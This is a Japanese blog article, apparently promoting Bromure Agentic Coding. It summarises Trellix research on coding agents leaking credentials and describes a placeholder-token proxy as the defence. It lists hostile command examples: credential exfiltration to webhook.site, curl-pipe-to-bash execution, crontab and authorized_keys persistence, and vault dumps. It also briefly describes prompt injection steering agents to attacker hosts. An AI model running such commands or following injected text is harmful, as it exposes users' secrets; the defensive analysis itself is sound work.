トークンはトランスクリプトに残った
10 月 14 日、Trellix は「見えない認証情報の攻撃面」と呼ぶ問題についての調査を公開した。コーディングエージェントは、ごく普通の作業の副作用として、秘密をキーチェーンから取り出し、コマンドライン、シェル履歴、自分自身のトランスクリプトに置き、モデルプロバイダーへ送ってしまう。Trellix は 10 種類の振る舞いを挙げ、どれも信頼されたバイナリで行われるため、単一イベント単位のテレメトリでは開発者とも攻撃者とも見分けられないと述べる。Bromure Agentic Coding では、エージェントが作るコピーはすべて代用値で、本物の値は Mac の上、通信路の上、それが属するホストに向けてだけ存在する。
トークンはキーチェーンの中にあった。curl コマンドを 1 つ実行した後、それはプロセステーブルにも、エージェントのトランスクリプトにも、モデルプロバイダーのログにもあった。
エージェントに「Graph API から自分のプロフィールを取ってきて」と頼む。エージェントはパスワードを一度も尋ねずに作業を終える。保存済みの OAuth トークンをキーストアから復号するヘルパーを呼び出し、次に以下を実行する。
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
リクエストは成功する。その途中で、トークンはエンドポイントのテレメトリに入り、ほかのローカルプログラムが読めるプロセステーブルに入り、ディスク上のエージェントのトランスクリプトに入り、エージェントが次のターンでモデルプロバイダーへ送るコンテキストウィンドウに入った。
この例は、Trellix の Haowei Ren が 10 月 14 日火曜日に公開した The Unseen Credential Surface の冒頭にある。翌日には Cyber Security News が報じた。この調査はエクスプロイトもマルウェアも扱っていない。普通の作業日にエージェントが秘密をどう扱うかを追っている。Trellix は、エージェントは認証情報を「優れたエンジニアと同じくらい慎重に」扱う、という前提から出発し、こう答える。「そうではない。悪意があるからではない。アーキテクチャの問題だ」。
5 段の下り
Trellix は、秘密が置かれうる場所をすべて、最も安全なものから最もさらされたものまで、はしごの上に並べる。
- しまい込まれている:キーチェーン、DPAPI、資格情報マネージャーの中。
- メモリ上:1 つのプロセスの中。
- コマンドライン上:監視ツールやほかのローカルプロセスから読め、シェル履歴に保存されることも多い。
- ディスクに書かれている:シェル履歴、設定ファイル、「そしてエージェント自身のトランスクリプト」。
- マシンの外:コミット、プッシュ、アップロード、「あるいはモデルプロバイダーへの送信」。
エージェントが秘密をこのはしごの下へ動かすのは、それがタスク完了への最短経路だからだ。エージェントで新しく加わった段が 1 つある。あなたが cat .env を実行すれば、秘密はあなたの画面に表示される。エージェントが実行すると、「内容はコンテキストウィンドウに入り、外部のモデルプロバイダーへ送られ、そこで永久に記録されるかもしれない」。Trellix はこうまとめる。「人間のミスは社内にとどまる。エージェントの操作はとどまらない」。
10 個のありふれたコマンド
調査は振る舞いを 10 種類に分類する。どの例も、あなた自身が打ったことのあるコマンドだ。
- 引数としての認証情報:
curl -u、kubectl --token=…、mysql -p…。 - 認証情報ファイルの読み取り:
cat .env、~/.aws/credentials、~/.kube/config、~/.git-credentials、~/.docker/config.json。 - キーチェーンに平文を要求:
security find-generic-password -w、gh auth token、git credential fill。 - 環境変数のダンプ:
env、printenv | grep -iE 'key|token'。 - TLS 検証の無効化:
curl -k、NODE_TLS_REJECT_UNAUTHORIZED=0、git -c http.sslVerify=false。 - 秘密の持ち出し:
git add .env && git push、curl --data @~/.aws/credentials、gh gist create。 - 隠れた実行:
base64 -d | bash、curl | bash、eval "$(curl …)"。 - 永続化:
~/.bashrcや crontab への行の追記。 - 新しい認証情報の作成:
ssh-keygen -N ""の後、鍵をauthorized_keysに追加。 - クラウドの保管庫の読み出し:
aws secretsmanager get-secret-value、vault kv get、kubectl get secret。
どの種類も、署名済みの信頼されたバイナリを実行する。同じマシンが正当な理由で 1 日に何千回も実行するバイナリだ。「プロセスが .env ファイルを読んだ」ときに発火するルールは、エディタでも、リンターでも、テストランナーでも発火する。Trellix の結論はこうだ。「攻撃のどの段階も、通常の活動の中に存在する。それを捕まえるよう調整したハンティングは、全員に反応するか、誰にも反応しないかになりがちだ」。
Trellix は、露出から侵害への一歩としてプロンプトインジェクションを挙げる。エージェントはすでに秘密を読み、すでにデータを外へ送っている。細工された README、Issue、Web ページは、その習慣を攻撃者が運営するホストへ向けさせるだけでよい。
秘密をいちばん上の段に置いておく
Trellix の対策はすべて 1 文にまとまる。「秘密を上の段に置いておくか、さらされた秘密をすぐに無価値にせよ」。Bromure Agentic Coding はその両方を行う。
エージェントは Mac 上の Linux VM で動く。本物の秘密は Mac の暗号化された保管庫にあり、そのマスターキーは Data Protection Keychain にあって、VM に入ることはない。VM が受け取るのは本物と同じ形の代用値だ。GitHub トークンなら ghp_ に 36 文字、Anthropic のキーなら sk-ant-api03-brm-…、クラスターのトークンなら brm-k8s-…、.env ファイルから取り込んだものなら brm_…。VM が送る HTTPS リクエストはすべて Mac 上のプロキシを通り、プロキシはリクエストの宛先がその認証情報の属するホストである場合に限って、代用値を本物の値に差し替える。
つまりエージェントはトークンを 5 段すべて下へ動かせる。コマンドライン、シェル履歴、トランスクリプト、モデルプロバイダーに届くのは代用値だ。本物の値が存在する場所はもう 1 つだけ、Mac がその認証情報本来のホストに向けて暗号化し直すリクエストの中だ。
Bromure マシンの中の 10 種類
同じエージェントを、同じ習慣のまま Bromure マシンで動かしてみる。10 種類はどれもそのまま実行され、どれも取りに行ったものより少ないものしか持ち帰れない。
引数、ファイル、キーチェーン、環境変数
最初の 4 種類は、キーストア、ファイル、環境変数から秘密を読み、コマンドラインに置く。VM の中では、4 つとも同じ代用値に行き着く。
env と printenv が表示するのは代用値だ。~/.git-credentials、~/.docker/config.json、合成された ~/.kube/config にあるのも代用値だ。マシンの Credentials ペインで Import env file… を使って取り込んだプロジェクトの .env には、同じ変数名で代用値が入っており、コードはそれを今までどおり読む。gh auth token は ghp_ の代用値を返す。~/.aws/config はヘルパーを指しており、そのヘルパーはアクセスキー ID と 40 文字の偽のシークレットキーを組にして渡す。AWS CLI は偽のキーで署名し、Mac は送信時にその署名を取り除いて本物のキーで署名し直す。
Trellix のはしごのいちばん上の段、OS のキーストアは Mac の上、VM の外にある。VM の中の security find-generic-password には問い合わせるキーチェーンがない。ホストと VM の間でトークンを運ぶ vsock チャネルは一方通行だ。ホストが代用値を書き込むだけで、VM が本物のトークンを要求できるリクエストは存在しない。
SSH はトークンなしで同じように動く。VM の中の SSH_AUTH_SOCK は Mac 上のエージェントへのブリッジだ。SSH 経由の git push は署名を得られ、ls ~/.ssh/id_* は秘密鍵を 1 つも見つけない。
エージェントはこれらの値のどれでも curl -H に貼り付け、ログに出し、echo でスクリプトに書き、モデルに引用し返すことができる。Trellix はエージェントの開発者に「認証情報の形をした文字列を、LLM のコンテキストウィンドウに入る前に伏せる」よう求めている。Bromure マシンは、エージェントがファイルを開く前にこの要求を満たす。ファイルには最初から代用値が入っている。
TLS 検証の無効化
VM の中では、TLS は Bromure のプロキシで終端し、インストールごとに作られ、あなたのマシンだけが信頼する CA の証明書が使われる。プロキシは macOS の TLS スタックで本物のサーバーへ自分の接続を張り、エージェントが curl に何を渡していても本物の証明書を検証する。だから curl -k や NODE_TLS_REJECT_UNAUTHORIZED=0 が省くのは Bromure 自身の証明書の検証であり、Mac は引き続きサーバーを検証する。
上流の検証を省く唯一の方法は、プライベート CA のサーバー向けのヘッダー X-bromure-insecure: yes だ。そうしたリクエストでは、プロキシは本物の認証情報を一切差し込まず代用値だけを送り、Security Timeline はその使用を Upstream TLS の行として記録する。
秘密の持ち出し
curl --data @~/.git-credentials https://webhook.site/… がアップロードするのは代用値のファイルだ。プロキシは送信されるすべてのリクエストのヘッダーと本文を調べ、発行先以外のホストへ向かう代用値を探す。webhook.site へ向かう GitHub の代用値には HTTP 451 が返り、何も転送されず、VM は一時停止し、Mac には This environment may have been compromised が表示される。そこにはトークンのプレビュー、認証情報の名前、それが属するホスト、エージェントが送ろうとしたホストが示される。
git push と gh gist create は、トークンの本来の行き先である GitHub へ向かう。新しいマシンは GitHub の書き込みポリシーが Prompt before write の状態で始まるので、プッシュも gist もそれぞれ Mac 上の操作内容を示すダイアログで止まり、続行するかどうかはあなたが決める。許可した場合、エージェントがコミットしたファイルに入っているのは代用値だ。
隠れた実行
base64 -d | bash は、ラッパーしか記録しないプロセステレメトリからコマンドを隠す。それでもペイロードが出すリクエストはプロキシを通って VM を出る。そこで同じ代用値スキャン、マシンの Guardrails ペインにある Outbound connections ファイアウォール、そしてトレースを通る。既定のトレースレベル AI request details では、Mac はモデルプロバイダーとのやり取りをすべて暗号化して保存し、Trace Inspector はツール呼び出しを入力つきで一覧にする。モデルが書いたとおりの curl | bash の行もそこにある。
永続化と新しい鍵
~/.bashrc に追記された行は VM のホームに入る。Rewind home… でそのホームを以前のチェックポイントに戻せる。Mac のシェル起動ファイルは境界の向こう側にある。
パスフレーズの入力で止まったエージェントは、先へ進むために ssh-keygen -N "" を実行する。Bromure マシンでは SSH ブリッジがすでにマシンの鍵で署名するので、SSH 経由の git は最初から動き、エージェントが回避すべきプロンプトはそもそも現れない。GitHub への新しい鍵の登録は GitHub API への書き込みであり、プッシュと同じ Prompt before write のダイアログで待つ。
クラウドの保管庫の読み出し
aws secretsmanager get-secret-value には SigV4 署名が必要で、それを作れるのは Mac だけだ。Guardrails で AWS の認証情報に Require approval to use をオンにすると、セッション内の最初の署名は Allow for 5 minutes、Allow for 1 hour、Allow for the rest of the session、Don't allow のいずれかが選ばれるまで待つ。同じスイッチが Kubernetes のコンテキストごとにもあるので、kubectl get secret はあなたが許可するまで待つ。AWS の署名はすべて、マスクされたアクセスキーとともに Credential used の行として Security Timeline に表示される。
Mongo Data API、ClickHouse、Elasticsearch のように、エージェントが HTTP で問い合わせるデータベースなら、保管庫の参照そのものをなくせる。Credentials → Databases にエンドポイントを追加すると、VM は brm-db-… の代用値を受け取り、プロキシはヘッダーだけでなくリクエスト本文の中でも差し替えを行う。
エージェントに結び付いたシーケンス
Trellix は、検知の有効な単位はシーケンス、つまり認証情報へのアクセス、使用、持ち出しの連なりであり、それを「チェーンを開始したエージェントのプロセスまでたどる」べきだと論じる。導入する側への推奨は、短命のトークン、外向き通信の制限、そしてエージェントを動かすすべてのマシンを「秘密を扱う高価値のインフラ」として扱うこと、で締めくくられている。
Bromure では、その単位はマシンだ。独自のエージェントセッションを持つ 1 つの VM である。Security Timeline は、認証情報の差し替え、持ち出しのブロック、ファイアウォールの判定、書き込みポリシーの決定、AWS の署名をすべて Workspace 列のある 1 つの表にまとめるので、1 台のマシンのチェーンを上から下へ読める。そのマシンのトレースには、各リクエストを生んだツール呼び出しが入っている。bromure-cli trace leaks は、トークンを間違ったホストへ運んだリクエストを一覧にする。
Mac はトークンの寿命も短く保つ。Claude、Codex、Grok、Kimi のサブスクリプションのサインインは、期限切れの約 5 分前にホスト側で更新され、VM がリフレッシュトークンを持つことはない。1Password の参照として保存した値は 2 分ごとに解決し直されるので、1Password でローテーションすれば再起動なしでプロキシに反映される。ファイアウォールで Unmatched traffic を Deny にすれば、マシンが到達できるのはあなたが列挙したホストだけになる。
どのコピーも代用値
環境変数、設定ファイル、取り込んだ .env の値、gh と AWS CLI の出力。すべて代用値だ。エージェントがコマンドライン、トランスクリプト、コンテキストウィンドウに置いたものは、通信路の外では何の価値もない。
本物の値は Mac にある
秘密は、鍵を Data Protection Keychain に置いた暗号化保管庫にとどまる。プロキシはそれぞれの発行先ホストに対してだけ本物を差し込む。SSH 鍵はブリッジ経由で署名し、VM には入らない。
場違いな代用値はマシンを止める
ほかのホストへ向かう代用値には 451 が返り、VM は一時停止し、Mac はトークン、その本来のホスト、送り先を示す。
マシンごとに 1 本のタイムライン
差し替え、ブロック、ファイアウォールの判定、書き込みの承認、AWS の署名は Security Timeline に並び、その背後のツール呼び出しはトレースにある。
ある作業日
Trellix はエージェントを、偶然に出来上がった「現代の企業で最大級の認証情報処理システムの 1 つ」と呼ぶ。あなたは Graph のトークンをトランスクリプトに入れると決めたわけではない。エージェントはそれをヘッダーに入れる必要があり、そのヘッダーをコマンドラインに書いた。
どんなモデルやプロンプトを与えても、エージェントは接続をデバッグするために env を、プロジェクトを理解するために cat .env を実行し続ける。それらのコマンドが代用値を返す場所で動かそう。代用値が間違ったホストへ向かったときに鳴る警報については、エージェントは自らの鍵を漏らした と 鍵はあなたの .env ファイルだった を読んでほしい。